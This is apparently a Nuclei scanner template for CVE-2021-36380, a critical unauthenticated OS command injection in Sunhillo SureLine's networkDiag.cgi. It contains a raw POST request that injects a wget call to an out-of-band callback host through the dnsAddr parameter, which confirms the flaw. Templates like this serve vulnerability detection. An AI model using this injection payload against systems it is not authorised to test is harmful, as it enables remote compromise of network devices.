id: CVE-2021-36380

info:
  name: Sunhillo SureLine <8.7.0.1.1 - Unauthenticated OS Command Injection
  author: gy741
  severity: critical
  description: Sunhillo SureLine <8.7.0.1.1 is vulnerable to OS command injection. The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session.
  reference:
    - https://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36380
    - https://www.sunhillo.com/product/sureline/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36380
    cwe-id: CWE-78
    epss-score: 0.97044
    cpe: cpe:2.3:a:sunhillo:sureline:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sunhillo
    product: sureline
  tags: cve,cve2021,sureline,rce,oast

http:
  - raw:
      - |
        POST /cgi/networkDiag.cgi HTTP/1.1
        Host: {{Hostname}}

        command=2&ipAddr=&dnsAddr=$(wget+http://{{interactsh-url}})&interface=0&netType=0&scrFilter=&dstFilter=&fileSave=false&pcapSave=false&fileSize=

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"